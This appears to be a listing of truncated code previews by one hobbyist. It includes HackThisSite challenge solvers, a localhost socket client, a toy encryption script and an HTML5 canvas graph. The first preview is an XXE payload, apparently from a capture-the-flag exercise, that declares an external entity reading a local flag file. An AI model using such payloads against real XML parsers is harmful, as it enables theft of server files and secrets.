View 1
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE rss [
<!ENTITY xxe SYSTEM "file:///secret/flag.txt" > ]>
<rss>
<channel>
<title>test</title>
<description>test</description>
<entry>
<title>&xxe;</title>
View real6Solver
#HTS realistic challenge 6 BY GEORGE SKOUROUPATHIS
#YOU NEED TO HAVE real6.txt and real6a.txt
openfile1 = open('C:\Python26/programs/real6/real6.txt','r+')
fileList = openfile1.readlines()
newList = range(len(fileList)/3)
index = 0
sum = 0
while index < len(fileList):
sum += int(fileList[index])
if (index + 1)%3 == 0:
View socketClient
#CLIENT.PY BY GEORGE SKOUROUPATHIS
from socket import *
HOST = 'localhost'
PORT = 2333
BUFSIZ = 1024
ADDR = (HOST, PORT)
tcpCliSock = socket(AF_INET, SOCK_STREAM)
tcpCliSock.connect(ADDR)
View prog1Solver
#HTS programming challenge 1 by GEORGE SKOUROUPATHIS
#YOU NEED TO HAVE inputlist.txt and wordlist.txt
wordlist = []
scrambledlist = []
inputlist = []
finallist = []
wordlistfile = open('C:\Python26\programs\prog1/wordlist.txt', 'r+')
wordlist_n = wordlistfile.readlines()
for word_n in wordlist_n:
View triangularEncryption
#TRIANGULAR ENCRYPTION.PY BY GEORGE SKOUROUPATHIS
#Character table size
def set_charsize():
charsize = input("Enter your character table size: ")
if charsize < 95:
charsize = 95
#Create a list with the number of triangles in each row
rows = []
View HTML5graph
<!DOCTYPE html>
<html>
<head>
<title>HTML5 Hits Graph</title>
</head>
<body style="background:#000;">
<!-- BY GEORGE SKOUROUPATHIS -->
<center>
<canvas id="myCanvas" width="778px" height="340px" style="border:1px solid #333; background:#222;background-position:0 0;">